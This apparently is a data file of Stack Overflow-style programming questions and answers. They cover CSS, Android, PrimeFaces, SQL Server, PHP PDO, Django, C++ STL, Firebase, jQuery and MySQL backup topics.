11581124	0	Is there any downside to specifying a very long font stack? <p>This is what I have:</p> <pre><code>body { font-family: Frutiger, "Frutiger Linotype", "Frutiger LT Std", Univers, Calibri, "Myriad Pro", Myriad, "DejaVu Sans Condensed", "Liberation Sans", "Nimbus Sans L", "Helvetica Neue", Helvetica, Arial, sans-serif; } </code></pre> <p>That's a whopping 14 fonts! Does using long font stacks like this one have a significant effect on page load time or performance, or is it always a good idea to include as many fonts as needed?</p>
2740769	0	 <p>The mongodb-csharp driver is about to make a huge push regarding support for typedcollections which will include full Linq support. I think you'll find that it is easy to work.</p> <p>The other 2 projects are also steaming ahead. If you want .NET 4.0 support, simple-mongodb would be your best bet.</p> <p>NoRM has a whole bunch of committers who are all great coders, so no problem with it except it doesn't have an official release.</p>
21574048	0	 <p>Using ObjectAnimator, This is a sample for scrolling to top :</p> <pre><code>public void scroolToTop() { int x = 0; int y = 0; ObjectAnimator xTranslate = ObjectAnimator.ofInt(mScrollView, "scrollX", x); ObjectAnimator yTranslate = ObjectAnimator.ofInt(mScrollView, "scrollY", y); AnimatorSet animators = new AnimatorSet(); animators.setDuration(1000L); animators.playTogether(xTranslate, yTranslate); animators.addListener(new AnimatorListener() { @Override public void onAnimationStart(Animator arg0) { // TODO Auto-generated method stub } @Override public void onAnimationRepeat(Animator arg0) { // TODO Auto-generated method stub } @Override public void onAnimationEnd(Animator arg0) { // TODO Auto-generated method stub } @Override public void onAnimationCancel(Animator arg0) { // TODO Auto-generated method stub } }); animators.start(); } </code></pre>
27794643	0	 <p>That's not possible with <a href="http://www.primefaces.org/showcase/ui/input/manyCheckbox.xhtml" rel="nofollow"><code>&lt;p:selectManyCheckbox&gt;</code></a>. Your best bet is to just use a bunch of <a href="http://www.primefaces.org/showcase/ui/input/booleanCheckbox.xhtml" rel="nofollow"><code>&lt;p:selectBooleanCheckbox&gt;</code></a> components instead and change the model to be <code>Map&lt;Entity, Boolean&gt;</code> instead of <code>List&lt;Entity&gt;</code>. You can loop over it using <code>&lt;ui:repeat&gt;</code>.</p> <p>E.g. (normal XHTML variant; I am not going to advocate the Java <code>createComponent()</code> equivalent):</p> <pre><code>&lt;ui:repeat value="#{bean.entities}" var="entity"&gt; &lt;p:selectBooleanCheckbox value="#{bean.selection[entity]}" /&gt; ... (you can put here image, label, anything) &lt;/ui:repeat&gt; </code></pre> <p>with</p> <pre><code>private List&lt;Entity&gt; entites; private Map&lt;Entity, Boolean&gt; selection; @PostConstruct public void init() { entities = service.list(); selection = new HashMap&lt;&gt;(); // No need to prefill it! } </code></pre> <p>To check which ones are selected, loop over the map in action method:</p> <pre><code>List&lt;Entity&gt; selectedEntities = new ArrayList&lt;&gt;(); for (Entry&lt;Entity, Boolean&gt; entry : selection.entrySet()) { if (entry.getValue()) { selectedEntities.add(entry.getKey()); } } </code></pre>
20820647	0	 <blockquote> <p>if you executing this query from your SSMS it means this other server is a linked server. then it should be no different to execute it from SSRS. </p> <p>Yes it is right you can only add one server to your data source of your dataset whether its a shared data source or embedded. </p> <p>But for instance if you have a data source pointing to say Server A when you executing queries which will be pulling data from Server A and also from server B you will Use fully Qualified name for the Objects from server B and two part name from server A. </p> <p>something like this ...</p> </blockquote> <pre><code>SELECT * FROM Schema.Table_Name A INNER JOIN [ServerNameB].DataBase.Schema.TableName B ON A.ColumnA = B.ColumnA </code></pre> <p><em>obviously <code>ServerB</code> has to be a <code>Linked Server</code>.</em></p>
37712540	0	Strange behavior of styles (Themes) in Android <p>I got this styles for my Android app:</p> <pre><code>&lt;resources&gt; &lt;!-- Base application theme. --&gt; &lt;style name="AppTheme" parent="Theme.AppCompat.Light.NoActionBar"&gt; &lt;item name="colorPrimary"&gt;@color/colorPrimary&lt;/item&gt; &lt;item name="colorPrimaryDark"&gt;@color/colorPrimaryDark&lt;/item&gt; &lt;item name="colorAccent"&gt;@color/colorAccent&lt;/item&gt; &lt;item name="android:windowBackground"&gt;@color/background_new&lt;/item&gt; &lt;item name="android:textColorPrimary"&gt;@color/colorAccent&lt;/item&gt; &lt;item name="android:textColorHint"&gt;@color/colorAccentHint&lt;/item&gt; &lt;!-- Customize your theme here. --&gt; &lt;/style&gt; &lt;style name="MyToolBar" parent="Widget.AppCompat.ActionBar"&gt; &lt;!-- Support library compatibility --&gt; &lt;item name="android:textColorPrimary"&gt;@color/colorAccent&lt;/item&gt; &lt;item name="android:textColorSecondary"&gt;@color/colorAccent&lt;/item&gt; &lt;item name="colorControlNormal"&gt;@color/colorAccent&lt;/item&gt; &lt;/style&gt; &lt;!-- Custom searchView may be used or not--&gt; &lt;style name="SearchViewStyle" parent="Widget.AppCompat.SearchView"&gt; &lt;!-- Gets rid of the search icon --&gt; &lt;item name="searchIcon"&gt;@null&lt;/item&gt; &lt;!-- Gets rid of the "underline" in the text --&gt; &lt;item name="queryBackground"&gt;@null&lt;/item&gt; &lt;!-- Gets rid of the search icon when the SearchView is expanded --&gt; &lt;item name="searchHintIcon"&gt;@null&lt;/item&gt; &lt;!-- The hint text that appears when the user has not typed anything --&gt; &lt;!--&lt;item name="closeIcon"&gt;@null&lt;/item&gt; --&gt; &lt;/style&gt; &lt;style name="MyCustomTabLayout" parent="Widget.Design.TabLayout"&gt; &lt;item name="tabTextAppearance"&gt;@style/MyCustomTabText&lt;/item&gt; &lt;/style&gt; &lt;style name="MyCustomTabText" parent="TextAppearance.Design.Tab"&gt; &lt;item name="android:textSize"&gt;12sp&lt;/item&gt; &lt;/style&gt; &lt;style name="AppTheme.AppBarOverlay" parent="ThemeOverlay.AppCompat.Dark.ActionBar" /&gt; &lt;style name="AppTheme.PopupOverlay" parent="ThemeOverlay.AppCompat.Light" /&gt; &lt;style name="NavDrawerTextStyle" parent="Base.TextAppearance.AppCompat"&gt; &lt;item name="android:textSize"&gt;12sp&lt;/item&gt; &lt;/style&gt; &lt;style name="MyCheckBox" parent="Theme.AppCompat.Light.NoActionBar"&gt; &lt;item name="colorControlNormal"&gt;@color/colorPrimaryTransparent&lt;/item&gt; &lt;item name="colorControlActivated"&gt;@color/colorAccent&lt;/item&gt; &lt;/style&gt; &lt;style name="AppCompatAlertDialogStyle" parent="Theme.AppCompat.Light.Dialog.Alert"&gt; &lt;item name="colorAccent"&gt;@color/colorAccent&lt;/item&gt; &lt;item name="android:textColorPrimary"&gt;@color/colorAccent&lt;/item&gt; &lt;item name="android:background"&gt;@color/background1&lt;/item&gt; &lt;item name="android:buttonStyle"&gt;@style/MyApp.BorderlessButton&lt;/item&gt; &lt;/style&gt; &lt;style name="MyApp.BorderlessButton" parent="@style/Widget.AppCompat.Button.Borderless"&gt; &lt;item name="android:textSize"&gt;12sp&lt;/item&gt; &lt;/style&gt; &lt;style name="MyRadioButton" parent="Theme.AppCompat.Light"&gt; &lt;item name="colorControlNormal"&gt;@color/colorAccent&lt;/item&gt; &lt;item name="colorControlActivated"&gt;@color/colorAccent&lt;/item&gt; &lt;/style&gt; </code></pre> <p></p> <p>Normally i have transparent background on <strong>Toolbar</strong> of <strong>NavigationDrawler</strong> menu items click.</p> <p>But sometimes theme in my app changes to <strong>Holo theme</strong> , and i can figure it out when its happens , so when i press menu items in <strong>Toolbar</strong> or in <strong>NavigationDrawler</strong> their background become blue, like in <strong>Holo theme</strong></p> <p>Where i have mistake and why its happens?</p>
34193879	0	How can I use a condition in PDO object while a query <p>I am trying to Select Data With PDO (+ Prepared Statements) The following example uses prepared statements.</p> <p><a href="http://www.w3schools.com/php/showphpfile.asp?filename=demo_db_select_pdo" rel="nofollow">http://www.w3schools.com/php/showphpfile.asp?filename=demo_db_select_pdo</a></p> <p>I need to know how to make a condition to display only the LASTNAME = PETER. I tried like the below, but not working</p> <pre><code>$stmt = $conn-&gt;prepare("SELECT id, firstname, lastname FROM MyGuests WHERE lastname =PETER"); </code></pre>
39638142	0	 <p>I think this is the expected behavior for the product. </p> <p>However still you can customize the store Jaggery app (which located in {EMM_HOME}/repository/deployment/server/jaggeryapps/store) and edit the page to match your requirement.</p> <p>Thanks.</p>
38215852	0	 <p>Use <code>LANDINGPAGE</code> field in the <code>setExpressCheckout</code> call to specify the default user interface, either <code>Login</code> for account login payments, or <code>Billing</code> for credit card form page.</p> <p><em>Be noted that this field will not always work since the checkout layout has been redesigned, you may try with the redirection URL in this format to display the selected page:</em></p> <p><strong>Login checkout page (by default):</strong> <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_express-checkout&amp;token=EC-XXXXXXXXXX" rel="nofollow noreferrer">https://www.paypal.com/cgi-bin/webscr?cmd=_express-checkout&amp;token=EC-XXXXXXXXXX</a></p> <p><strong>Credit card form page:</strong> <a href="https://www.paypal.com/webapps/xoonboarding?token=EC-XXXXXXXXXX" rel="nofollow noreferrer">https://www.paypal.com/webapps/xoonboarding?token=EC-XXXXXXXXXX</a></p> <p>*<code>token</code>=EC Token returned by <code>setExpressCheckout</code> call</p> <p><a href="https://i.stack.imgur.com/3MXqG.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/3MXqG.jpg" alt="enter image description here"></a></p>
40646586	0	 <p>I think you cannot achieve this. Based on Django documentation it looks like use of binary fields is <a href="https://docs.djangoproject.com/en/dev/ref/models/fields/#binaryfield" rel="nofollow noreferrer">discouraged</a></p> <blockquote> <p>A field to store raw binary data. It only supports bytes assignment. Be aware that this field has limited functionality. For example, it is not possible to filter a queryset on a BinaryField value. It is also not possible to include a BinaryField in a ModelForm.</p> <p>Abusing BinaryField</p> <p>Although you might think about storing files in the database, consider that it is bad design in 99% of the cases. This field is not a replacement for proper static files handling.</p> </blockquote> <p>And based on a <a href="https://code.djangoproject.com/ticket/2495" rel="nofollow noreferrer">Django bug</a>, it is most likely impossible to achieve a <code>unique value</code> restriction on a binary field. This bug is marked as <code>wont-fix</code>. I am saying most likely impossible as I did not find evidence to confirm that binary field is stored as a <code>BLOB field</code> but the error does allude to it.</p> <blockquote> <p>Description </p> <p>When I used a field like this:<br> <code>text = models.TextField(maxlength=2048, unique=True)</code><br> it results in the following sql error when the admin app goes to make the table<br> <code>_mysql_exceptions.OperationalError: (1170, "BLOB/TEXT column 'text' used in key specification without a key length")</code><br> After a bit of investigation, it turns out that <code>mysql</code> refuses to use unique with the column unless it is only for an indexed part of the text field: </p> <pre><code>CREATE TABLE `quotes` ( \`id\` integer AUTO_INCREMENT NOT NULL PRIMARY KEY, `text` longtext NOT NULL , \`submitTS\` datetime NOT NULL, `submitIP` char(15) NOT NULL, `approved` bool NOT NULL, unique (text(1000)));</code></pre> <p>Of course 1000 is just an arbitrary number I chose, it happens to be the maximum my database would allow. Not entirely sure how this can be fixed, but I figured it was worth mentioning.</p> </blockquote>
11708182	0	 <p>To output the results in a human readable form, as opposed to print_r, you could simply cycle through the results in a foreach loop;</p> <pre><code>foreach($balance_info as $key=&gt;$value) { echo "$key: $value&lt;br /&gt;"; } </code></pre> <p>Or for more specific naming, if you know what the columns are, using a <code>-&gt;</code> to access the objects properties and echo them out;</p> <pre><code>Client: &lt;?php echo $balance_info-&gt;client_user_id; ?&gt;&lt;br /&gt; Balance: &lt;?php echo $balance_info-&gt;available_credit; ?&gt;&lt;/br /&gt; Time: &lt;?php echo $balance_info-&gt;last_updated_time; ?&gt; </code></pre> <p><a href="http://php.net/manual/en/sdo.sample.getset.php" rel="nofollow">http://php.net/manual/en/sdo.sample.getset.php</a></p>
507030	0	 <p>Using them without reading the "Effective STL" book by Scott Meyers. :) Really. This makes most of the stupid bugs go away.</p>
22206267	0	How do I store an auth key in iOS/Objective-C? <p>I'm working on an app that uses an auth key to validate the login session for many methods (like getFriends, for example). I'll be calling these methods in different view controllers to the one which manages logging in, so I need a way to store the auth_key which is returned upon login.</p> <p>Should I use a global variable? Also how is this best done? Is this what the "keychain" is for? Could you provide some resources for learning how to use the keychain?</p> <p>I'm a first year student so please don't assume much experience.</p>
10783505	0	android videoview fullscreen when click button <p>i want to show fullscreen the video when click a button. And then return old size teh video when run fullscreen!</p> <p>how can i do that?</p> <pre><code>&lt;LinearLayout android:layout_width="fill_parent" android:layout_height="fill_parent" android:layout_alignParentLeft="true" android:layout_below="@+id/linearLayout1" android:gravity="center_horizontal" android:orientation="vertical" &gt; &lt;WebView android:id="@+id/Web" android:layout_width="fill_parent" android:layout_height="150dp" android:layout_marginLeft="10dp" android:layout_marginRight="10dp" android:layout_marginTop="2dp" android:background="@drawable/screen_background" /&gt; &lt;VideoView android:id="@+id/videoView1" android:layout_width="264dp" android:layout_height="128dp" android:layout_marginTop="3dp" /&gt; </code></pre>
8751872	0	Hibernate/JPA: map<Object, Enum> manytomany is it possible? <p>More specifically <code>(map&lt;Course, Role&gt;)((User) u).courses</code></p> <p>I have many <code>Course</code>s and many <code>User</code>s who have <code>Role</code>s in courses. A user might be staff in one course, and a student in another. </p> <p>I have User entities with ID and course entities with ID, and a Role Enum type </p> <p>I want a map belonging to user in order to query his role in a particular class:</p> <pre><code>public enum Role{ STUDENT, STAFF } public class User ... { ... @ElementCollection(targetClass=Role.class) @CollectionTable(name="COURSE_ROLE") @MapKeyJoinColumn(name="COURSE_ID") @Column(name="ROLE_NAME") @Enumerated(EnumType.STRING) private Map&lt;Course, Role&gt; courses; ... </code></pre> <p>I have looked at several resources. ProJPA has the following:</p> <pre><code>@Entity public class Department { @Id private int id; private String name; // ... @ElementCollection @CollectionTable(name="EMP_SENIORITY") @MapKeyJoinColumn(name="EMP_ID") @Column(name="SENIORITY") private Map&lt;Employee, Integer&gt; seniorities; // ... </code></pre> <p>if we consider a department as my user, and employee as my course this almost works, but I don't know how to handle the transition from their Integer to my Enum. </p> <p>Please help me with the semantics of this table definition with annotations.</p> <p>edit: To clarify, I had tried without the argument to ElementCollection(Role.class), and many other permutations of options but I don't feel I am grasping the situation. Currently, with this annotation combination I get an exception:</p> <pre><code>org.hibernate.MappingException: Could not determine type for: java.util.Map, at table: USER, for columns: [org.hibernate.mapping.Column(ROLE_NAME)] </code></pre>
11382792	0	Are std::map and std::set thread-safe? <p>I have a question: Are std::map and std::set thread-safe? I use this collections on my multithread applications and sometimes map and set works worng. </p> <p>Thanks!</p> <p><strong>upd. My code:</strong></p> <pre><code>std::map&lt;int, unsigned long&gt; ClientTable; int sendulong(int socket, char * data) //&lt;--- Many threads uses this function { write(socket, ClientTable[socket]); //&lt;--- ClientTable[[socket] &lt;-- using of map } </code></pre> <p>How can i fix this code for thread safety? Thanks!</p>
2192810	0	 <p>Eclipse has a VIM plugin. Eclipse runs on OS X</p> <p><a href="http://www.vimplugin.org/" rel="nofollow noreferrer">http://www.vimplugin.org/</a></p> <p>Also, I think the Komodo IDEs and editors have VIM bindings, but I have little experience with them. Apparently, they also run on OS X.</p> <p><a href="http://docs.activestate.com/komodo/4.4/vikeybind.html" rel="nofollow noreferrer">http://docs.activestate.com/komodo/4.4/vikeybind.html</a></p>
433153	0	 <p>If you're willing to go all Unix-centric, Cygwin comes with a version of <em>cron</em> that can be run as a service on Windows. Then, you could use a common <code>crontab</code> file across your platforms. See <a href="http://www.noah.org/ssh/cygwin-crond.html" rel="nofollow noreferrer">http://www.noah.org/ssh/cygwin-crond.html</a>.</p>
22222148	0	 <p>I created the following one line solution avoiding multiple grep commands. </p> <pre><code>mysql -e "show databases;" | grep -Ev "Database|DatabaseToExclude1|DatabaseToExclude2" | xargs mysqldump --databases &gt;mysql_dump_filename.sql </code></pre> <p>The -E in grep enables extended regex support which allowed to provide different matches separated by the pipe symbol "|". More options can be added to the mysqldump command. But only before the "--databases" parameter.</p> <p>Little side note, i like to define the filename for the dump like this ... </p> <pre><code>... &gt;mysql_dump_$(hostname)_$(date +%Y-%m-%d_%H-%M).sql </code></pre> <p>This will automatically ad the host name, date and time to the filename. :)</p>
32471401	0	 <p>This exception occurs when length of values you are inserting are larger than actual length of column you have specified for database table.</p> <p><strong>String or binary data would be truncated. The statement has been terminated.</strong></p> <p>Please check all column lengths and values you are inserting.</p>
33700249	0	Firebase Normalized Collection and Scroll not working <p>first the code</p> <pre><code>var baseRef = new $databaseFactory(); var childRegistration = baseRef.child("registrations/"); var childStudents = baseRef.child("students/"); $scope.scrollRef = new Firebase.util.Scroll(childRegistration,'registerDate'); var normRegisteredStudens = new Firebase.util.NormalizedCollection( [childStudents, "student"], [$scope.scrollRef, "registration"] ).select( "student.id", "student.avatarImg", "registration.registerDate", "registration.entryMethod" ).ref(); $scope.lastRegisteredStudents = $firebaseObject( normRegisteredStudens ); $scope.loadRegisteredStudents = function() { $scope.scrollRef.scroll.next(1); }; </code></pre> <p>data structure</p> <pre><code>"registrations" : { "STD32159500" : { "entryMethod" : "web", "registerDate" : 1447425200913 }, "STD32159501" : { "entryMethod" : "web", "registerDate" : 1447430433895 } "students" : { "STD32159500" : { "avatarImg" : "students/default-avatar-male.png", "id" : "STD32159500", }, "STD32159501" : { "avatarImg" : "students/default-avatar-female.png", "id" : "STD32159501", } </code></pre> <p>there is no error but i still no getting one by one registration value with the function "loadRegisteredStudents", instead of that, i get all results.</p> <p>i get this on load web</p> <pre><code>STD32159500: avatarImg: "students/default-avatar-male.png" entryMethod: "web" id: "STD32159500" registerDate: 1447425200913 STD32159501: avatarImg: "students/default-avatar-female.png" entryMethod: "web" id: "STD32159501" registerDate: 1447430433895 </code></pre>
39745686	0	Sort div array based on alphabets during appending Jquery <p>I am stuck in a place where I have to sort the list of names when moved those list on button click.</p> <pre><code>sort() </code></pre> <p>method works fine but clicking on the same button again creating duplicates!, which is not I need.</p> <p>Is there any way I can fix this. used below code too(which took from stackoverflow) even this is not working.</p> <pre><code>function SortByName(a, b) { var aName = a.name.toLowerCase(); var bName = b.name.toLowerCase(); return ((aName &lt; bName) ? -1 : ((aName &gt; bName) ? 1 : 0)); } var selectArr = selectedList.sort(SortByName); </code></pre> <p><strong>MY CODE</strong></p> <pre><code> $(document).on('click', '#buttonAdd', function (e) { var divCount = $('#SelectedEmployeeList').find('div').length; if (divCount === 0) { selectedList = []; // Clearing the list, to add fresh employee list. } $('#EmployeeList :selected').each(function (i, selected) { selectedList[$(selected).val()] = $(selected).text(); }); // Returning DOM node from collection. var empListNode = $("#SelectedEmployeeList")[0]; console.log(empListNode); while (empListNode.firstChild) { empListNode.removeChild(empListNode.firstChild); } for (var empID in selectedList) { $("#SelectedEmployeeList").append("&lt;div class= EmpList id=" + empID + "&gt;" + selectedList[empID] + " &lt;span class='close'&gt;&amp;times;&lt;/Span&gt; &lt;/div&gt;"); } }); </code></pre> <p>This is the place where all sort should happen <code>#SelectedEmployeeList</code>.</p> <p>have shared the pics for references.</p> <p>Sort is happening correctly on the left like here :</p> <p><a href="https://i.stack.imgur.com/xK8Fk.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/xK8Fk.jpg" alt="enter image description here"></a></p> <p>after clicking on "Add All >> " items are moved but not sorted :</p> <p><a href="https://i.stack.imgur.com/00Azk.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/00Azk.jpg" alt="enter image description here"></a></p> <p>any help will be appreciated.</p> <p>UPDATE 1 :</p> <p><a href="https://i.stack.imgur.com/zwezj.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/zwezj.jpg" alt="enter image description here"></a></p>
21565139	0	 <p>What you have would work (if I understand you correctly) except that the class-selector begins with a dot (<code>.</code>) instead of a hash (<code>#</code> -- which selects by id, not class-name), so try:</p> <pre><code>jQuery("div:contains('myfield')").parent().find('.css_class').val('thisistheclass'); </code></pre>
3140586	0	 <p>Why not create a symlink for your subdomain then reach images via sub.domain.com url?</p>
22661763	0	 <p>You need to apply the <code>class=value</code> for the second <code>&lt;select&gt;</code> values . Check <a href="http://plnkr.co/edit/KmXvkhNU8dcEueiw8ksZ?p=preview" rel="nofollow"><strong>Working DEMO</strong></a></p> <pre><code>&lt;select class="form-control" id="color"&gt; &lt;option value=""&gt;choose options&lt;/option&gt; &lt;option value="27"&gt;Blomme&lt;/option&gt; &lt;option value="26"&gt;Grøn&lt;/option&gt; &lt;option value="28"&gt;Syren&lt;/option&gt; &lt;/select&gt; &lt;select class="form-control" id="size"&gt; &lt;option value=""&gt;choose options&lt;/option&gt; &lt;option value="27" class="27"&gt;XL&lt;/option&gt; &lt;option value="26" class="26"&gt;L&lt;/option&gt; &lt;option value="26" class="26"&gt;L&lt;/option&gt; &lt;option value="26" class="26"&gt;L&lt;/option&gt; &lt;option value="28" class="28"&gt;S&lt;/option&gt; &lt;/select&gt; </code></pre>
11443305	0	 <p>If I understood correctly the purpose is to create an array with 10 "Apples" and another one with 5 "Balls"</p> <pre><code>$array = array ( array ("Apple", 10), array("Ball", 5) ); $newarray = array(); foreach($array as $key =&gt; $val){ $tmparray = null; for($i = 1; $i &lt;= $val[1]; $i++){ $tmparray[$i] = $val[0]; } $newarray[] = $tmparray; } print_r($newarray); </code></pre> <p>output:</p> <pre><code>Array ( [0] =&gt; Array ( [1] =&gt; Apple [2] =&gt; Apple [3] =&gt; Apple [4] =&gt; Apple [5] =&gt; Apple [6] =&gt; Apple [7] =&gt; Apple [8] =&gt; Apple [9] =&gt; Apple [10] =&gt; Apple ) [1] =&gt; Array ( [1] =&gt; Ball [2] =&gt; Ball [3] =&gt; Ball [4] =&gt; Ball [5] =&gt; Ball ) ) </code></pre>
4885569	0	silverlight support in vs2010 <p>hi i need some clarification about silverlight. I want develop one silverlightapplication for win ce6.0. so that my question is visualstudio2010 .net framework will no support for wince. is silverlight will support in visual studio2005 and tel me the detailed description or links about that. </p>
12088681	0	The equivalent of cross apply and select top <p>I have table (script below):</p> <pre><code>use master go -- -- if db_id ( 'CrossApplyDemo' ) is not null drop database CrossApplyDemo go create database CrossApplyDemo go use CrossApplyDemo go -- if object_id ( 'dbo.Countries', 'U' ) is not null drop table dbo.Countries go create table dbo.Countries ( CountryID int, Country nvarchar(255) ) go -- insert into dbo.Countries ( CountryID, Country ) values ( 1, N'Russia' ), ( 2, N'USA' ), ( 3, N'Germany' ) , ( 4, N'France' ), ( 5, N'Italy' ), ( 6, N'Spain' ) go -- if object_id ( 'dbo.Cities', 'U' ) is not null drop table dbo.Cities go create table dbo.Cities ( CityID int, CountryID int, City nvarchar(255) ) go -- insert into dbo.Cities ( CityID, CountryID, City ) values ( 1, 1, N'Moscow' ), ( 2, 1, N'St. Petersburg' ), ( 3, 1, N'Yekaterinburg' ) , ( 4, 1, N'Novosibirsk' ), ( 5, 1, N'Samara' ), ( 6, 2, N'Chicago' ) , ( 7, 2, N'Washington' ), ( 8, 2, N'Atlanta' ), ( 9, 3, N'Berlin' ) , ( 10, 3, N'Munich' ), ( 11, 3, N'Hamburg' ), ( 12, 3, N'Bremen' ) , ( 13, 4, N'Paris' ), ( 14, 4, N'Lyon' ), ( 15, 5, N'Milan' ) go </code></pre> <p>I select cities groupping by countries, i can perform queries using two approaches:</p> <pre><code>-- using join: select * from CrossApplyDemo.dbo.Countries as countries inner join CrossApplyDemo.dbo.Cities as cities on cities.CountryID = countries.CountryID -- using apply select * from CrossApplyDemo.dbo.Countries as countries cross apply (select * from CrossApplyDemo.dbo.Cities as cities where cities.CountryID = countries.CountryID) as c; </code></pre> <p><strong>Is where any query without "cross apply" which can return the same result as "apply query" below? :</strong></p> <pre><code>select * from CrossApplyDemo.dbo.Countries as countries cross apply (select top(3) * from CrossApplyDemo.dbo.Cities as cities where cities.CountryID = countries.CountryID) as c; </code></pre> <p>the query:</p> <pre><code>select top(3) * from CrossApplyDemo.dbo.Countries as countries inner join CrossApplyDemo.dbo.Cities as cities on cities.CountryID = countries.CountryID </code></pre> <p>not work</p>
40116636	0	Android - WebView not saving input forms <p>I'm using a simple webView client in my android application, but, when the user log in, close the app and open app again the input forms not save the user information like webbrowser. How i solve it? I need when the user enter the 'username' the app save this like a webbrowser, if possible save the password too :)</p> <p>Thank in advance.</p>
15705588	0	 <p>The log message "User 'admin' not found" seems pretty clear as a reason for authentication failure, when using the default schema. Why not just execute the command manually and see if it returns the user data?</p> <p>Also, whether the login screen is shown doesn't depend on whether you set "'authorities-by-username-query" or not. It only depends on whether what <code>intercept-url</code> values apply for the URL you request. The only exception would be if you have customized the access-denied behaviour (for an authenticated user with insufficient rights) to show the login page (not the case here).</p> <p>Your SQL exception is probably due to your custom table having the wrong column types. You need to end up with something compatible with the result set obtained from the standard schema. Better to stick with the default unless you have a good reason not to.</p> <p>Better still, forget about Oracle completely until you can get the basics working with a simple test database like HSQLDB.</p>
15709365	0	 <p>In Python, string literals and numbers are separate types of object, and do not compare equal.</p> <pre><code>1 == "1" </code></pre> <p>returns False.</p> <p>You're iterating through your list of strings of numerals, but it's not a list of actual numbers.</p> <p>You can use the range() function (it's a python built-in) to generate a number list instead of typing it out by hand.</p>
21831268	0	 <p>This can be done with <code>ismember</code>:</p> <pre><code>[lia,lib]=ismember(A,A(1,:)) h=hist(lib(lib&gt;0),1:size(A,2)) </code></pre>
26514501	0	using max-n-of to control the number of arcs that link nodes? <p>Hi please could somebody write a snippet of sample code to show how I would use max-n-of nodes to control the number of incident nodes that a node has in a network? Any help would be greatly appreciated as I am new.</p>
11808562	0	 <p>In my UIViewController subclass I have this method:</p> <pre><code>-(void)setEditing:(BOOL)editing animated:(BOOL)animated { [super setEditing:editing animated: animated]; // hide back button in edit mode [self.navigationItem setHidesBackButton:editing animated:YES]; } </code></pre>
26017129	0	 <p>I know the question is old, but since I found it, others may find it as well. And then, the solution is five years older than this question.</p> <p>The solution is in fact simple and will be found quickly when trying to post this problem at the microsoft forums:</p> <p><a href="http://social.msdn.microsoft.com/Forums/en-US/0403c00e-008d-4eb2-a061-45e60664573e/how-can-i-get-smtp-address-to-an-organizer-with-ews?forum=exchangesvrdevelopment" rel="nofollow">http://social.msdn.microsoft.com/Forums/en-US/0403c00e-008d-4eb2-a061-45e60664573e/how-can-i-get-smtp-address-to-an-organizer-with-ews?forum=exchangesvrdevelopment</a></p> <p>Short summary:</p> <p>The organizer field does not contain an SMTP Address when retrieved with ExchangeService.FindAppointments, but it does if retrieved with ExchangeService.BindToItems or Appointment.Bind.</p>
22802293	0	 <p>hi i have done many thing in xmpp from (<a href="http://xmpp.org/xmpp-protocols/xmpp-extensions/" rel="nofollow">http://xmpp.org/xmpp-protocols/xmpp-extensions/</a>) tutorial you can get example from bellow github links you can get many help from that </p> <p>(demo links: ) <a href="https://github.com/sesharim/ios-jabber-client" rel="nofollow">https://github.com/sesharim/ios-jabber-client</a></p> <p><a href="https://github.com/funkyboy/Building-a-Jabber-client-for-iOS" rel="nofollow">https://github.com/funkyboy/Building-a-Jabber-client-for-iOS</a></p> <p>(xmmp Project demo Link:)</p> <p><a href="https://github.com/chrisballinger/ChatSecure-iOS" rel="nofollow">https://github.com/chrisballinger/ChatSecure-iOS</a></p> <p>i hope it will help full you..</p> <p>you can get how to fetch old messages and user list and other detail from that above demo programs. </p>
12045285	0	 <p>OP, perhaps you could think of it that CSS processes the first argument (#header, and #login) first, and only after that, then it processes the second argument (a in "#header a").</p> <p>So on the first process, it's made red, and then blue, but on the second process, it's overwritten to red, due to the "a" in the second argument.</p>
1796617	0	 <p>My compiler has wistringstream -- this is all it is:</p> <p><code>typedef basic_istringstream&lt;wchar_t&gt; wistringstream;</code></p>
40899763	0	 <p>It seems not.</p> <p>There's an open issue for this on GitHub: <a href="https://github.com/dotnet/roslyn/issues/6877" rel="nofollow noreferrer">https://github.com/dotnet/roslyn/issues/6877</a></p>
32991909	0	 <p>Keep your code in a named <code>function</code> say - <code>changeSize</code> and call it in <code>document.ready</code> and <code>window.resize</code> as below:</p> <p><strong><a href="http://jsfiddle.net/Guruprasad_Rao/8TrTU/1628/" rel="nofollow">DEMO</a></strong></p> <pre><code>function changeSize(){ var fontSize = parseInt($("#container").width()/4)+"px"; $("#container span").css('font-size', fontSize); } $(document).ready(function() { changeSize(); $(window).resize(changeSize); }); </code></pre> <p>or just once in <code>document.ready()</code> as below:</p> <pre><code>$(document).ready(function() { $(window).resize(changeSize).trigger('resize'); }); </code></pre>
22753351	0	Comparisons with "Comparable" type variables in java? <p>I'm working on a University assignment, and I have to store elements in an array of the "Comparable" type. Eg: </p> <pre><code>protected Comparable storage[]; </code></pre> <p>The elements that will be stored in this array are going to be either all integers, or all strings, but they're obviously created with the "Comparable" type as opposed to being created as int, or String. </p> <p>What I'm having problems doing is comparing these values. At any given point, say the array is filled with "Comparable" elements that are actually integers, how can I compare them? I get that I have to use the compareTo() method, but what would the implementation look like? I've looked at the Java document online, and it has simply confused me even more. </p> <p>Just to summarize, at any given point, the array might have "Comparable" type elements that are actually all integers, or all the elements will be Strings that were also made with the "Comparable" type. There's no mixing and matching of the integer and Strings in the array, it's just one or the other. I want to know how I would make the compareTo() method so that I can easily compare two elements in the array, or any two "Comparable" elements for that matter, and return say a 1, -1, or 0 if one is greater/less than the other</p> <p>Would appreciate any help. I'm completely lost.</p>
34468199	0	 <p>Try clearing the npm cache and try the npm install again. You can use the following to clear the npm cache.</p> <pre><code>npm cache clean &lt;path to express-generator&gt; </code></pre> <p>Sometimes you get this error even when you are on ssh, the npm registry might be configured to use a different registry for npm packages and that registry might not have a express-generator</p>
29882710	0	Saving list adapter data on Activity onStop() <p>I have this Activity with a List Fragment which loads data from server if adapter is empty. When i press the back button or go to another activity and back to this activity with Up button, the adapter is reset to empty.</p> <p>So how can i save the adapter data, so the activity doesn't have to load data from the server all the time? </p> <p>Thanks in advance!</p> <p>PS: Sorry i don't provide any code. I just want to know the logic.</p>
